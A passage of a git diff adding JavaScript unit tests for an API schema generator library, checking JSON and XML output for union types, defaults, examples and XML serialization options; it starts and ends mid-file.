+            const shape = loader.getShape(model, 'ScalarUnionExampleNumber');
+            const result = ApiSchemaGenerator.asSchema(shape, jsonMime, {
+              renderExamples: true,
+            });
+            assert.strictEqual(result, 987654, 'the result is a number');
+          });
+
+          it('generates schema for required union an example value (string)', async () => {
+            const shape = loader.getShape(model, 'ScalarUnionExampleString');
+            const result = ApiSchemaGenerator.asSchema(shape, jsonMime, {
+              renderExamples: true,
+            });
+            assert.strictEqual(result, '098poi', 'the result is a string');
+          });
+
+          it('generates empty string for scalar-object union', async () => {
+            const shape = loader.getShape(model, 'ScalarObjectUnion');
+            const result = ApiSchemaGenerator.asSchema(shape, jsonMime);
+            assert.strictEqual(result, '', 'the result is a string');
+          });
+
+          it('generates schema for scalar-object union with an example', async () => {
+            const shape = loader.getShape(model, 'ScalarObjectUnionExample');
+            const result = ApiSchemaGenerator.asSchema(shape, jsonMime, {
+              renderExamples: true,
+            });
+            assert.typeOf(result, 'string', 'the result is a string');
+            const parsed = JSON.parse(String(result));
+            assert.strictEqual(parsed.id, '128a654bc54d898e43f', 'example.id is set');
+            assert.strictEqual(parsed.name, 'Pawel Uchida-Psztyc', 'example.name is set');
+            assert.strictEqual(parsed.age, 30, 'example.age is set');
+            assert.strictEqual(parsed.sex, 'male', 'example.sex is set');
+            assert.strictEqual(parsed.newsletter, false, 'example.newsletter is set');
+            assert.strictEqual(parsed.tosAccepted, true, 'example.tosAccepted is set');
+          });
+
+          it('generates schema for objects union', async () => {
+            const shape = loader.getShape(model, 'ObjectUnions');
+            const result = ApiSchemaGenerator.asSchema(shape, jsonMime);
+            assert.typeOf(result, 'string', 'the result is a string');
+            const parsed = JSON.parse(String(result));
+            assert.strictEqual(parsed.id, '', 'schema.id is set');
+            assert.strictEqual(parsed.name, '', 'schema.name is set');
+            assert.isUndefined(parsed.age, 'optional item is not set (age)');
+            assert.strictEqual(parsed.sex, 'male', 'schema.sex is set');
+            assert.isUndefined(parsed.newsletter, 'optional item is not set (newsletter)');
+            assert.strictEqual(parsed.tosAccepted, false, 'schema.tosAccepted is set');
+          });
+
+          it('generates schema for a selected union', async () => {
+            const shape = /** @type ApiUnionShape */ (loader.getShape(model, 'ObjectUnions'));
+            const id = shape.anyOf[1].id;
+            const result = ApiSchemaGenerator.asSchema(shape, jsonMime, {
+              selectedUnions: [id],
+            });
+            assert.typeOf(result, 'string', 'the result is a string');
+            const parsed = JSON.parse(String(result));
+            assert.strictEqual(parsed.id, '', 'has parent id');
+            assert.strictEqual(parsed.name, '', 'has parent name');
+            assert.strictEqual(parsed.age, 0, 'has child age');
+            assert.strictEqual(parsed.sex, 'male', 'has parent sex');
+            assert.isUndefined(parsed.newsletter, 'has no optional parent newsletter');
+            assert.strictEqual(parsed.tosAccepted, false, 'has parent tosAccepted');
+            assert.match(parsed.addedProperty, /^[0-9]{2}:[0-9]{2}:[0-9]{2}$/, 'has child addedProperty');
+          });
+
+          // examples are not correctly inherited with unions
+          it.skip('renders example from an union object', async () => {
+            const shape = loader.getShape(model, 'ObjectUnionWithExample');
+            const result = ApiSchemaGenerator.asSchema(shape, jsonMime, {
+              renderExamples: true,
+            });
+            assert.typeOf(result, 'string', 'the result is a string');
+            const parsed = JSON.parse(String(result));
+            assert.strictEqual(parsed.error, true, 'has schema.error');
+            assert.strictEqual(parsed.message, 'Error message', 'has schema.message');
+            assert.isUndefined(parsed.optional, 'has no optional property');
+          });
+
+          it('does not renders example from an union object when not configured', async () => {
+            const shape = loader.getShape(model, 'ObjectUnionWithExample');
+            const result = ApiSchemaGenerator.asSchema(shape, jsonMime);
+            assert.typeOf(result, 'string', 'the result is a string');
+            const parsed = JSON.parse(String(result));
+            assert.strictEqual(parsed.error, false, 'has default schema.error');
+            assert.strictEqual(parsed.message, '', 'has default schema.message');
+            assert.isUndefined(parsed.optional, 'has no optional property');
+          });
+
+          it('marks scalar | nil union as optional', async () => {
+            const shape = loader.getShape(model, 'ObjectScalarUnionNill');
+            const result = ApiSchemaGenerator.asSchema(shape, jsonMime);
+            assert.equal(result, '{}', 'is a string');
+          });
+          
+          // I am not sure how this should work.
+          // In RAML spec it says that scalar + nil makes the scalar optional. 
+          // Should it be the same for an object?
+          it.skip('marks object | nil union as optional', async () => {
+            const shape = loader.getShape(model, 'UnionNill');
+            const result = ApiSchemaGenerator.asSchema(shape, jsonMime);
+            assert.equal(result, '{}', 'is a string');
+          });
+        });
+
+        describe(xmlMime, () => {
+          it('generates schema for a scalar union', async () => {
+            const shape = loader.getShape(model, 'ScalarUnion');
+            const result = ApiSchemaGenerator.asSchema(shape, xmlMime);
+            const parser = new DOMParser();
+            const schema = parser.parseFromString(String(result), xmlMime);
+
+            const root = schema.querySelector('ScalarUnion');
+            assert.ok(root, 'has the root node');
+            assert.strictEqual(root.textContent.trim(), '', 'the root node is empty');
+          });
+
+          it('generates schema for a scalar union with a default number value', async () => {
+            const shape = loader.getShape(model, 'ScalarUnionDefaultNumber');
+            const result = ApiSchemaGenerator.asSchema(shape, xmlMime);
+            const parser = new DOMParser();
+            const schema = parser.parseFromString(String(result), xmlMime);
+
+            const root = schema.querySelector('ScalarUnionDefaultNumber');
+            assert.ok(root, 'has the root node');
+            assert.equal(root.textContent.trim(), '123456', 'the root node has a number value');
+          });
+
+          it('generates schema for a scalar union with a default string value', async () => {
+            const shape = loader.getShape(model, 'ScalarUnionDefaultString');
+            const result = ApiSchemaGenerator.asSchema(shape, xmlMime);
+            const parser = new DOMParser();
+            const schema = parser.parseFromString(String(result), xmlMime);
+
+            const root = schema.querySelector('ScalarUnionDefaultString');
+            assert.ok(root, 'has the root node');
+            assert.equal(root.textContent.trim(), 'abc123', 'the root node has a string value');
+          });
+
+          it('generates schema for a scalar union with a default boolean value', async () => {
+            const shape = loader.getShape(model, 'ScalarUnionDefaultBoolean');
+            const result = ApiSchemaGenerator.asSchema(shape, xmlMime);
+            const parser = new DOMParser();
+            const schema = parser.parseFromString(String(result), xmlMime);
+
+            const root = schema.querySelector('ScalarUnionDefaultBoolean');
+            assert.ok(root, 'has the root node');
+            assert.equal(root.textContent.trim(), 'true', 'the root node has a boolean value');
+          });
+
+          it('ignores implicit not-required unions (union with nil)', async () => {
+            const shape = loader.getShape(model, 'ScalarUnionDefaultNil');
+            const result = ApiSchemaGenerator.asSchema(shape, xmlMime);
+            assert.isUndefined(result);
+          });
+
+          it('generates schema for required union an example value (number)', async () => {
+            const shape = loader.getShape(model, 'ScalarUnionExampleNumber');
+            const result = ApiSchemaGenerator.asSchema(shape, xmlMime);
+            const parser = new DOMParser();
+            const schema = parser.parseFromString(String(result), xmlMime);
+
+            const root = schema.querySelector('ScalarUnionExampleNumber');
+            assert.ok(root, 'has the root node');
+            assert.equal(root.textContent.trim(), '987654', 'the root node has the example value');
+          });
+
+          it('generates schema for required union an example value (string)', async () => {
+            const shape = loader.getShape(model, 'ScalarUnionExampleString');
+            const result = ApiSchemaGenerator.asSchema(shape, xmlMime);
+            const parser = new DOMParser();
+            const schema = parser.parseFromString(String(result), xmlMime);
+
+            const root = schema.querySelector('ScalarUnionExampleString');
+            assert.ok(root, 'has the root node');
+            assert.equal(root.textContent.trim(), '098poi', 'the root node has the example value');
+          });
+
+          it('generates empty string for scalar-object union', async () => {
+            const shape = loader.getShape(model, 'ScalarObjectUnion');
+            const result = ApiSchemaGenerator.asSchema(shape, xmlMime);
+            const parser = new DOMParser();
+            const schema = parser.parseFromString(String(result), xmlMime);
+
+            const root = schema.querySelector('ScalarObjectUnion');
+            assert.ok(root, 'has the root node');
+            assert.equal(root.textContent.trim(), '', 'the root node is empty');
+          });
+
+          it('generates schema for scalar-object union with an example', async () => {
+            const shape = loader.getShape(model, 'ScalarObjectUnionExample');
+            const result = ApiSchemaGenerator.asSchema(shape, xmlMime);
+            const parser = new DOMParser();
+            const schema = parser.parseFromString(String(result), xmlMime);
+
+            const root = schema.querySelector('ScalarObjectUnionExample');
+            assert.ok(root, 'has the root node');
+            assert.strictEqual(root.querySelector('id').textContent.trim(), '128a654bc54d898e43f', 'example.id is set');
+            assert.strictEqual(root.querySelector('name').textContent.trim(), 'Pawel Uchida-Psztyc', 'example.name is set');
+            assert.strictEqual(root.querySelector('age').textContent.trim(), '30', 'example.age is set');
+            assert.strictEqual(root.querySelector('sex').textContent.trim(), 'male', 'example.sex is set');
+            assert.strictEqual(root.querySelector('newsletter').textContent.trim(), 'false', 'example.newsletter is set');
+            assert.strictEqual(root.querySelector('tosAccepted').textContent.trim(), 'true', 'example.tosAccepted is set');
+          });
+
+          it('generates schema for objects union', async () => {
+            const shape = loader.getShape(model, 'ObjectUnions');
+            const result = ApiSchemaGenerator.asSchema(shape, xmlMime);
+            const parser = new DOMParser();
+            const schema = parser.parseFromString(String(result), xmlMime);
+
+            const root = schema.querySelector('ObjectUnions');
+            assert.ok(root, 'has the root node');
+            assert.strictEqual(root.querySelector('id').textContent.trim(), '', 'example.id is set');
+            assert.strictEqual(root.querySelector('name').textContent.trim(), '', 'example.name is set');
+            assert.notOk(root.querySelector('age'), 'optional item is not set (age)');
+            assert.strictEqual(root.querySelector('sex').textContent.trim(), 'male', 'example.sex is set');
+            assert.notOk(root.querySelector('newsletter'), 'optional item is not set (newsletter)');
+            assert.strictEqual(root.querySelector('tosAccepted').textContent.trim(), 'false', 'example.tosAccepted is set');
+          });
+
+          it('generates schema for a selected union', async () => {
+            const shape = /** @type ApiUnionShape */ (loader.getShape(model, 'ObjectUnions'));
+            // const typedUnion = /** @type ApiUnionShape */ (shape.inherits[0]);
+            const id = shape.anyOf[1].id;
+            const result = ApiSchemaGenerator.asSchema(shape, xmlMime, {
+              selectedUnions: [id],
+            });
+            const parser = new DOMParser();
+            const schema = parser.parseFromString(String(result), xmlMime);
+
+            const root = schema.querySelector('ObjectUnions');
+            assert.ok(root, 'has the root node');
+            assert.strictEqual(root.querySelector('id').textContent.trim(), '', 'has parent id');
+            assert.strictEqual(root.querySelector('name').textContent.trim(), '', 'has parent name');
+            assert.strictEqual(root.querySelector('age').textContent.trim(), '0', 'has child age');
+            assert.strictEqual(root.querySelector('sex').textContent.trim(), 'male', 'has parent sex');
+            assert.notOk(root.querySelector('newsletter'), 'has no optional parent newsletter');
+            assert.strictEqual(root.querySelector('tosAccepted').textContent.trim(), 'false', 'has parent tosAccepted');
+            const addedProperty = root.querySelector('addedProperty').textContent.trim();
+            assert.match(addedProperty, /^[0-9]{2}:[0-9]{2}:[0-9]{2}$/, 'has child addedProperty');
+          });
+
+          // examples are not correctly inherited with unions
+          it.skip('renders example from an union object', async () => {
+            const shape = loader.getShape(model, 'ObjectUnionWithExample');
+            const result = ApiSchemaGenerator.asSchema(shape, xmlMime, {
+              renderExamples: true,
+            });
+            const parser = new DOMParser();
+            const schema = parser.parseFromString(String(result), xmlMime);
+
+            const root = schema.querySelector('ObjectUnionWithExample');
+            assert.ok(root, 'has the root node');
+            assert.strictEqual(root.querySelector('error').textContent.trim(), 'true', 'has schema.error');
+            assert.strictEqual(root.querySelector('message').textContent.trim(), 'Error message', 'has schema.message');
+            assert.notOk(root.querySelector('optional'), 'has no optional property');
+          });
+
+          it('does not renders example from an union object when not configured', async () => {
+            const shape = loader.getShape(model, 'ObjectUnionWithExample');
+            const result = ApiSchemaGenerator.asSchema(shape, xmlMime);
+            const parser = new DOMParser();
+            const schema = parser.parseFromString(String(result), xmlMime);
+
+            const root = schema.querySelector('ObjectUnionWithExample');
+            assert.ok(root, 'has the root node');
+            assert.strictEqual(root.querySelector('error').textContent.trim(), 'false', 'has default schema.error');
+            assert.strictEqual(root.querySelector('message').textContent.trim(), '', 'has default schema.message');
+            assert.notOk(root.querySelector('optional'), 'has no optional property');
+          });
+
+          it('marks scalar | nil union as optional', async () => {
+            const shape = loader.getShape(model, 'ObjectScalarUnionNill');
+            const result = ApiSchemaGenerator.asSchema(shape, xmlMime);
+            assert.equal(result, '<ObjectScalarUnionNill>\n</ObjectScalarUnionNill>', 'is a string');
+          });
+          
+          // I am not sure how this should work.
+          // In RAML spec it says that scalar + nil makes the scalar optional. 
+          // Should it be the same for an object?
+          it.skip('marks object | nil union as optional', async () => {
+            const shape = loader.getShape(model, 'UnionNill');
+            const result = ApiSchemaGenerator.asSchema(shape, xmlMime);
+            assert.equal(result, '<UnionNill></UnionNill>', 'is a string');
+          });
+        });
+      });
+
+      describe('XML serialization', () => {
+        /** @type AmfDocument */
+        let model;
+
+        before(async () => {
+          model = await loader.getGraph(compact, 'schema-api');
+        });
+
+        it('serializes required properties', async () => {
+          const shape = loader.getShape(model, 'XmlSerializationObject');
+          const result = ApiSchemaGenerator.asSchema(shape, xmlMime);
+          const parser = new DOMParser();
+          const schema = parser.parseFromString(String(result), xmlMime);
+
+          const root = schema.querySelector('XmlSerializationObject');
+          assert.ok(root, 'has the root node');
+          assert.isTrue(root.hasAttribute('uuid'), 'the root has the renamed id attribute');
+          assert.equal(root.getAttribute('uuid'), '', 'the id attribute has the default value');
+          assert.isTrue(root.hasAttribute('notNamedId'), 'the root has the notNamedId attribute');
+          assert.equal(root.getAttribute('notNamedId'), '', 'the notNamedId attribute has the default value');
+          assert.isTrue(root.hasAttribute('attributeWithExample'), 'the root has the attributeWithExample attribute');
+          assert.equal(root.getAttribute('attributeWithExample'), '', 'the attributeWithExample attribute has the default value');
+          assert.isTrue(root.hasAttribute('attributeWithDefault'), 'the root has the attributeWithDefault attribute');
+          assert.equal(root.getAttribute('attributeWithDefault'), 'attr default value', 'the attributeWithDefault attribute has the defined value');
+          assert.isFalse(root.hasAttribute('invalidAttribute'), 'has no invalid attribute');
+          assert.ok(root.querySelector('invalidAttribute'), 'the invalidAttribute is serialized as an element');
+          const namespaceElement = root.querySelector('namespaceElement');
+          assert.ok(namespaceElement, 'has the namespaceElement element');
+          assert.equal(namespaceElement.getAttribute('xmlns'), 'urn:loc.gov:books', 'has the namespace value');
+          const namespaceWithPrefix = root.getElementsByTagNameNS('urn:ISBN:0-395-36341-6', 'namespaceWithPrefix')[0];
+          assert.ok(namespaceWithPrefix, 'has the namespaceWithPrefix element');
+          assert.equal(namespaceWithPrefix.getAttributeNS('http://www.w3.org/2000/xmlns/', 'isbn'), 'urn:ISBN:0-395-36341-6', 'has the prefixed namespace value');
+          assert.isFalse(root.hasAttribute('optionalAttribute'), 'has no optional attributes');
+        });
+
+        it('serializes optional properties', async () => {
+          const shape = loader.getShape(model, 'XmlSerializationObject');
+          const result = ApiSchemaGenerator.asSchema(shape, xmlMime, {
+            renderOptional: true,
+          });
+          const parser = new DOMParser();
+          const schema = parser.parseFromString(String(result), xmlMime);
+
+          const root = schema.querySelector('XmlSerializationObject');
+          assert.ok(root, 'has the root node');
+          assert.isTrue(root.hasAttribute('optionalAttribute'), 'has the optional attribute');
+          assert.equal(root.getAttribute('optionalAttribute'), '', 'the optional attribute has no value');
+          assert.ok(root.querySelector('optionalProperty'), 'has optionalProperty element');
+        });
+
+        it('serializes optional properties with examples', async () => {
+          const shape = loader.getShape(model, 'XmlSerializationObject');
+          const result = ApiSchemaGenerator.asSchema(shape, xmlMime, {
+            renderOptional: true,
+            renderExamples: true,
+          });
+          const parser = new DOMParser();
+          const schema = parser.parseFromString(String(result), xmlMime);
+
+          const root = schema.querySelector('XmlSerializationObject');
+          assert.ok(root, 'has the root node');
+          const optionalProperty = root.querySelector('optionalProperty');
+          assert.equal(optionalProperty.textContent.trim(), 'abcd', 'element has an example value');
+          const namespaceWithPrefix = root.getElementsByTagNameNS('urn:ISBN:0-395-36341-6', 'namespaceWithPrefix')[0];
+          assert.equal(namespaceWithPrefix.textContent.trim(), 'test namespace', 'namespace element has an example value');
+          assert.equal(root.getAttribute('attributeWithExample'), 'attr example value', 'attribute has an example');
+          const deep = root.querySelector('invalidAttribute > name');
+          assert.equal(deep.textContent.trim(), 'Pawel Uchida-Psztyc', 'deep elements have examples');
+        });
+
+        it('does not wrap an array by default', async () => {
+          const shape = loader.getShape(model, 'XmlSerializationObject');
+          const result = ApiSchemaGenerator.asSchema(shape, xmlMime, {
+            renderOptional: true,
+            renderExamples: true,
+          });
+          const parser = new DOMParser();
+          const schema = parser.parseFromString(String(result), xmlMime);
+
+          const root = schema.querySelector('address-array-4');
+          assert.ok(root, 'has the renamed root element');
+          assert.lengthOf(root.children, 2, 'has 2 children');
+          assert.equal(root.children[0].localName, 'street', 'has the street child');
+          assert.equal(root.children[1].localName, 'city', 'has the city child');
+        });
+
+        it('wraps an array via the XML serialization', async () => {
+          const shape = loader.getShape(model, 'XmlSerializationObject');
+          const result = ApiSchemaGenerator.asSchema(shape, xmlMime, {
+            renderOptional: true,
+            renderExamples: true,
+          });
+          const parser = new DOMParser();
+          const schema = parser.parseFromString(String(result), xmlMime);
+          /* 
+          <addresses>
+            <Address>
+              <street></street>
+              <city></city>
+            </Address>
+          </addresses>
+          */
+
+          const topAddress = schema.querySelector('addresses');
+          assert.ok(topAddress, 'has the wrapping "addresses" node');
+          const nodes = topAddress.querySelectorAll('Address');
+          assert.lengthOf(nodes, 1, 'has a single Address');
+          const node = nodes[0];
+          assert.ok(node.querySelector('street'), 'has the street child');
+          assert.ok(node.querySelector('city'), 'has the street child');
+        });
+
+        it('renames wrapper and items', async () => {
+          const shape = loader.getShape(model, 'XmlSerializationObject');
+          const result = ApiSchemaGenerator.asSchema(shape, xmlMime, {
+            renderOptional: true,
+            renderExamples: true,
+          });
+          const parser = new DOMParser();
+          const schema = parser.parseFromString(String(result), xmlMime);
+
+          /*
+          <address-array-2> 
+            <Address>
+              <street></street>
+              <city></city>
+            </Address> 
+          </address-array-2>
+          */
+
+          const topAddress = schema.querySelector('address-array-2');
+          assert.ok(topAddress, 'has the wrapping "address-array-2" node');
+          const nodes = topAddress.querySelectorAll('Address');
+          assert.lengthOf(nodes, 1, 'has a single Address');
+          const node = nodes[0];
+          assert.ok(node.querySelector('street'), 'has the street child');
+          assert.ok(node.querySelector('city'), 'has the street child');
+        });
+
+        it('renames wrapper only', async () => {
+          const shape = loader.getShape(model, 'XmlSerializationObject');
+          const result = ApiSchemaGenerator.asSchema(shape, xmlMime, {
+            renderOptional: true,
+            renderExamples: true,
+          });
+          const parser = new DOMParser();
+          const schema = parser.parseFromString(String(result), xmlMime);
+
+          /*
+          <address-array-3> 
+            <Address>
+              <street></street>
+              <city></city>
+            </Address> 
+          </address-array-3>
+          */
+
+          const topAddress = schema.querySelector('address-array-3');
+          assert.ok(topAddress, 'has the wrapping "address-array-3" node');
+          const nodes = topAddress.querySelectorAll('Address');
+          assert.lengthOf(nodes, 1, 'has a single Address');
+          const node = nodes[0];
+          assert.ok(node.querySelector('street'), 'has the street child');
+          assert.ok(node.querySelector('city'), 'has the street child');
+        });
+
+        it('renames wrapper only', async () => {
+          const shape = loader.getShape(model, 'XmlSerializationObject');
+          const result = ApiSchemaGenerator.asSchema(shape, xmlMime, {
+            renderOptional: true,
+            renderExamples: true,
+          });
+          const parser = new DOMParser();
+          const schema = parser.parseFromString(String(result), xmlMime);
+
+          /*
+          <address-array-3> 
+            <Address>
+              <street></street>
+              <city></city>
+            </Address> 
+          </address-array-3>
+          */
+
+          const topAddress = schema.querySelector('address-array-3');
+          assert.ok(topAddress, 'has the wrapping "address-array-3" node');
+          const nodes = topAddress.querySelectorAll('Address');
+          assert.lengthOf(nodes, 1, 'has a single Address');
+          const node = nodes[0];
+          assert.ok(node.querySelector('street'), 'has the street child');
+          assert.ok(node.querySelector('city'), 'has the street child');
+        });
+
+        it('renames without wrapping', async () => {
+          const shape = loader.getShape(model, 'XmlSerializationObject');
+          const result = ApiSchemaGenerator.asSchema(shape, xmlMime, {
+            renderOptional: true,
+            renderExamples: true,
+          });
+          const parser = new DOMParser();
+          const schema = parser.parseFromString(String(result), xmlMime);
+
+          /*
+          <address-array-4> 
+            <street></street>
+            <city></city>
+          </address-array-4>
+          */
+
+          const nodes = schema.querySelectorAll('address-array-4');
+          assert.lengthOf(nodes, 1, 'has a single object');
+          const node = nodes[0];
+          assert.ok(node.querySelector('street'), 'has the street child');
+          assert.ok(node.querySelector('city'), 'has the street child');
+        });
+
+        it('serializes complex objects', async () => {
+          const shape = loader.getShape(model, 'XmlComplexProperty');
+          const result = ApiSchemaGenerator.asSchema(shape, xmlMime, {
+            renderOptional: true,
+            renderExamples: true,
+          });
+          const parser = new DOMParser();
+          const schema = parser.parseFromString(String(result), xmlMime);
+
+          const root = schema.querySelector('XmlComplexProperty');
+          assert.ok(root, 'has the root element');
+
+          const complex = root.querySelector('complex');
+          assert.ok(complex, 'has the complex element');
+          assert.strictEqual(complex.getAttribute('correctedName'), '', 'has the property as attribute');
+
+          const other = root.querySelector('other');
+          assert.ok(other, 'has the other element');
+          assert.strictEqual(other.textContent.trim(), 'some property', 'has the other property default value');
+        });
+
+        it('does not wrap an object when no serialization', async () => {
+          const shape = loader.getShape(model, 'NoXmlSerializationObject');
+          const result = ApiSchemaGenerator.asSchema(shape, xmlMime, {
+            renderOptional: true,
+            renderExamples: true,
+          });
+          const parser = new DOMParser();
+          const schema = parser.parseFromString(String(result), xmlMime);
+
+          const root = schema.querySelector('NoXmlSerializationObject');
+          const addresses = root.querySelector('addresses');
+          assert.ok(addresses, 'has the addresses node');
+          const nodes = addresses.querySelectorAll('Address');
+          assert.lengthOf(nodes, 0, 'has no Address');
+          assert.ok(addresses.querySelector('street'), 'has the street child');
+          assert.ok(addresses.querySelector('city'), 'has the street child');
+        });
+
+        it('serializes the root array', async () => {
+          const shape = loader.getShape(model, 'XmlArray');
+          const result = ApiSchemaGenerator.asSchema(shape, xmlMime, {
+            renderOptional: true,
+            renderExamples: true,
+          });
+          const parser = new DOMParser();
+          const schema = parser.parseFromString(String(result), xmlMime);
+
+          /*
+          <XmlArray>
+            <street></street>
+            <city></city>
+          </XmlArray>
+          */
+
+          const root = schema.querySelector('XmlArray');
+          assert.ok(root, 'has the XmlArray node');
+          assert.lengthOf(root.children, 2, 'has 2 children');
+          assert.equal(root.children[0].localName, 'street', 'has the street child');
+          assert.equal(root.children[1].localName, 'city', 'has the city child');
+        });
+
+        it('serializes wrapped and renamed root array', async () => {
+          const shape = loader.getShape(model, 'XmlArray2');
+          const result = ApiSchemaGenerator.asSchema(shape, xmlMime, {
+            renderOptional: true,
+            renderExamples: true,
+          });
+          const parser = new DOMParser();
+          const schema = parser.parseFromString(String(result), xmlMime);
+
+          /*
+          <addresses-array>
+            <address>
+              <city></city>
+              <street></street>
+            </address>
+          </addresses-array>
+          */
+        
+          const root = schema.querySelector('addresses-array');
+          assert.ok(root, 'has the addresses-array node');
+          const item = root.querySelector('address');
+          assert.ok(item, 'has the wrapped item');
+          assert.lengthOf(item.children, 2, 'has 2 children');
+          assert.equal(item.children[0].localName, 'city', 'has the city child');
+          assert.equal(item.children[1].localName, 'street', 'has the street child');
+        });
+
+        it('serializes schema from a library', async () => {
+          const shape = loader.getShape(model, 'LibraryRef');
+          const result = ApiSchemaGenerator.asSchema(shape, xmlMime, {
+            renderOptional: true,
+            renderExamples: true,
+          });
+          const parser = new DOMParser();
+          const schema = parser.parseFromString(String(result), xmlMime);
+          const root = schema.querySelector('LibraryRef');
+          assert.ok(root, 'has the LibraryRef node');
+          assert.equal(root.querySelector('petType').textContent.trim(), 'Doggie', 'has the child petType node');
+          assert.equal(root.querySelector('sound').textContent.trim(), 'Woof', 'has the child sound node');
+          assert.equal(root.querySelector('friendly').textContent.trim(), 'true', 'has the child friendly node');
+          assert.equal(root.querySelector('name').textContent.trim(), '', 'has the parent name node');
+          assert.equal(root.querySelector('etag').textContent.trim(), '', 'has the parent etag node');
+        });
+
+        // AMF has a problem with restoring this value from the ld model
+        // it('serializes an xsd schema', async () => {
+        //   const shape = loader.getShape(model, 'XmlRefSchema');
+        //   const result = ApiSchemaGenerator.asSchema(shape, xmlMime, {
+        //     renderOptional: true,
+        //     renderExamples: true,
+        //   });
+        //   const parser = new DOMParser();
+        //   const schema = parser.parseFromString(result, xmlMime);
+        //   console.log(shape);
+        // });
+
+        // it('serializes an xsd schema with examples', async () => {
+        //   const op = await store.getOperationRecursive('put', '/schemas');
+        //   console.log(op.request.payloads[1].schema);
+        //   // const shape = loader.getShape(model, 'XmlRefSchemaExample');
+        //   // const result = ApiSchemaGenerator.asSchema(shape, xmlMime, {
+        //   //   renderOptional: true,
+        //   //   renderExamples: true,
+        //   // });
+        //   // const parser = new DOMParser();
+        //   // const schema = parser.parseFromString(result, xmlMime);
+        //   // console.log(result);
+        // });
+      });
+
+      describe('unknown media type', () => {
+        const unknownMime = 'any/text';
+
+        /** @type AmfDocument */
+        let model;
+
+        before(async () => {
+          model = await loader.getGraph(compact, 'schema-api');
+        });
+
+        it('does not set the generator property', async () => {
+          const inst = new ApiSchemaGenerator(unknownMime);
+          assert.isUndefined(inst.generator);
+        });
+
+        it('returns null on generate() ', async () => {
+          const shape = loader.getShape(model, 'ScalarType');
+          const inst = new ApiSchemaGenerator(unknownMime);
+          const result = inst.generate(shape);
+          assert.strictEqual(result, null);
+        });
+
+        it('returns null on toValue() ', async () => {
+          const shape = loader.getShape(model, 'ScalarType');
+          const inst = new ApiSchemaGenerator(unknownMime);
+          const result = inst.generate(shape);
+          assert.strictEqual(result, null);
+        });
+
+        it('returns null on toExample() ', async () => {
+          const shape = loader.getShape(model, 'ScalarType');
+          const inst = new ApiSchemaGenerator(unknownMime);
+          const result = inst.toExample(shape);
+          assert.strictEqual(result, null);
+        });
+      });
+    });
+  });
+});
diff --git a/test/generators/ApiSchemaValues.test.js b/test/generators/ApiSchemaValues.test.js
new file mode 100644
index 0000000..a13d725
--- /dev/null
+++ b/test/generators/ApiSchemaValues.test.js
@@ -0,0 +1,563 @@
+import { assert } from '@open-wc/testing';
+import { ApiSchemaValues } from '../../src/schema/ApiSchemaValues.js';
+import { ns } from '../../src/helpers/Namespace.js';
+import { AmfLoader } from '../AmfLoader.js';
+
+/** @typedef {import('../../').Amf.AmfDocument} AmfDocument */
+/** @typedef {import('../../').Api.ApiScalarShape} ApiScalarShape */
+
+describe('ApiSchemaValues', () => {
+  const loader = new AmfLoader();
+
+
+  describe('readInputValues()', () => {
+    /** @type AmfDocument */
+    let model;
+
+    before(async () => {
+      model = await loader.getGraph(true, 'schema-api');
+    });
+
+    it('generates the value for a string scalar with example', async () => {
+      const param = loader.getParameter(model, '/parameters', 'get', 'arrableStringWithExample');
+      const result = ApiSchemaValues.readInputValues(param, param.schema, { fromExamples: true });
+      assert.deepEqual(result,  [ 'example 1', 'example 2' ]);
+    });
+
+    it('generates the value for a string scalar with examples', async () => {
+      const param = loader.getParameter(model, '/parameters', 'get', 'arrableStringWithExamples');
+      const result = ApiSchemaValues.readInputValues(param, param.schema, { fromExamples: true });
+      assert.deepEqual(result,  [ 'example 1', 'example 2' ]);
+    });
+
+    it('generates the value for a number scalar with examples', async () => {
+      const param = loader.getParameter(model, '/parameters', 'get', 'arrableNumberWithExamples');
+      const result = ApiSchemaValues.readInputValues(param, param.schema, { fromExamples: true });
+      assert.deepEqual(result,  [ 1, 2 ]);
+    });
+
+    it('generates an empty array when no examples', async () => {
+      const param = loader.getParameter(model, '/parameters', 'get', 'arrableNumber');
+      const result = ApiSchemaValues.readInputValues(param, param.schema);
+      assert.deepEqual(result,  []);
+    });
+
+    it('ignores optional parameters', async () => {
+      const param = loader.getParameter(model, '/parameters', 'get', 'notRequiredArray');
+      const result = ApiSchemaValues.readInputValues(param, param.schema, { requiredOnly: true });
+      assert.deepEqual(result,  []);
+    });
+
+    it('reads default value', async () => {
+      const param = loader.getParameter(model, '/parameters', 'get', 'notRequiredArrayDefault');
+      const result = ApiSchemaValues.readInputValues(param, param.schema);
+      assert.deepEqual(result,  ["test default"]);
+    });
+
+    it('returns default value', async () => {
+      const param = loader.getParameter(model, '/parameters', 'get', 'notRequiredArray');
+      const result = ApiSchemaValues.readInputValues(param, param.schema);
+      assert.deepEqual(result,  []);
+    });
+  });
+
+  describe('readInputValue()', () => {
+    /** @type AmfDocument */
+    let model;
+
+    before(async () => {
+      model = await loader.getGraph(true, 'schema-api');
+    });
+
+    it('returns type default value for a string', async () => {
+      const param = loader.getParameter(model, '/parameters', 'get', 'scalarString');
+      const result = ApiSchemaValues.readInputValue(param, /** @type ApiScalarShape */ (param.schema));
+      assert.strictEqual(result,  '');
+    });
+
+    it('returns schema default value for a string', async () => {
+      const param = loader.getParameter(model, '/parameters', 'get', 'scalarStringWithDefault');
+      const result = ApiSchemaValues.readInputValue(param, /** @type ApiScalarShape */ (param.schema));
+      assert.strictEqual(result,  'test default');
+    });
+
+    it('returns schema example value for a string', async () => {
+      const param = loader.getParameter(model, '/parameters', 'get', 'scalarStringWithExample');
+      const result = ApiSchemaValues.readInputValue(param, /** @type ApiScalarShape */ (param.schema), { fromExamples: true });
+      assert.strictEqual(result,  'a string');
+    });
+
+    it('returns schema example value from examples for a string', async () => {
+      const param = loader.getParameter(model, '/parameters', 'get', 'scalarStringWithExamples');
+      const result = ApiSchemaValues.readInputValue(param, /** @type ApiScalarShape */ (param.schema), { fromExamples: true });
+      assert.strictEqual(result,  'a string 1');
+    });
+
+    it('returns type default value for a number', async () => {
+      const param = loader.getParameter(model, '/parameters', 'get', 'scalarNumber');
+      const result = ApiSchemaValues.readInputValue(param, /** @type ApiScalarShape */ (param.schema));
+      assert.strictEqual(result,  0);
+    });
+
+    it('returns schema default value for a number', async () => {
+      const param = loader.getParameter(model, '/parameters', 'get', 'scalarNumberWithDefault');
+      const result = ApiSchemaValues.readInputValue(param, /** @type ApiScalarShape */ (param.schema));
+      assert.strictEqual(result,  20);
+    });
+
+    it('returns schema example value for a number', async () => {
+      const param = loader.getParameter(model, '/parameters', 'get', 'scalarNumberWithExample');
